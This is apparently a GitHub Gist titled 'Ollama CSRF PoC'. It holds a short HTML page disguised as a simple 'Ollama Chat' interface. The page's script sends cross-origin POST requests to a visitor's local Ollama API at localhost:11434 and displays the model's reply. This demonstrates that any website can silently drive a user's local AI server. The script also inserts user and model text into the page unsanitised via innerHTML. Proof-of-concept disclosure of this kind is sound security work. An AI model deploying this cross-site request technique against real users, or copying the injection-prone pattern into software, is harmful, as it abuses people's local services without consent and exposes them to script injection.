Created
July 11, 2025 14:28
-
-
Save Atom1cByte/94ec43fc415e66f20e56743376a6f889 to your computer and use it in GitHub Desktop.
Ollama CSRF PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <title>Ollama Chat</title> | |
| <style> | |
| body { font-family: sans-serif; background: #f0f0f0; } | |
| #chat { max-width: 500px; margin: 40px auto; background: #fff; padding: 10px; border-radius: 6px; } | |
| #log { min-height: 100px; margin-bottom: 10px; } | |
| input { width: 70%; padding: 6px; } | |
| button { padding: 6px 12px; } | |
| </style> | |
| </head> | |
| <body> | |
| <div id="chat"> | |
| <div id="log"></div> | |
| <input id="msg" type="text" placeholder="Message"> | |
| <button onclick="send()">Send</button> | |
| </div> | |
| <script> | |
| function send() { | |
| const msg = document.getElementById('msg').value; | |
| if (!msg) return; | |
| const log = document.getElementById('log'); | |
| log.innerHTML += `<div>User: ${msg}</div>`; | |
| document.getElementById('msg').value = ''; | |
| fetch('http://localhost:11434/api/chat', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ | |
| model: "deepseek-r1:14b", | |
| messages: [{ role: "user", content: msg }] | |
| }) | |
| }) | |
| .then(r => r.text()) | |
| .then(data => { | |
| // Parse streaming JSONL and extract assistant content | |
| let response = ''; | |
| data.split(/\r?\n/).forEach(line => { | |
| if (line.trim()) { | |
| try { | |
| const obj = JSON.parse(line); | |
| if (obj.message && obj.message.content) { | |
| response += obj.message.content; | |
| } | |
| } catch (e) {} | |
| } | |
| }); | |
| log.innerHTML += `<div>AI: ${response}</div>`; | |
| }); | |
| } | |
| </script> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment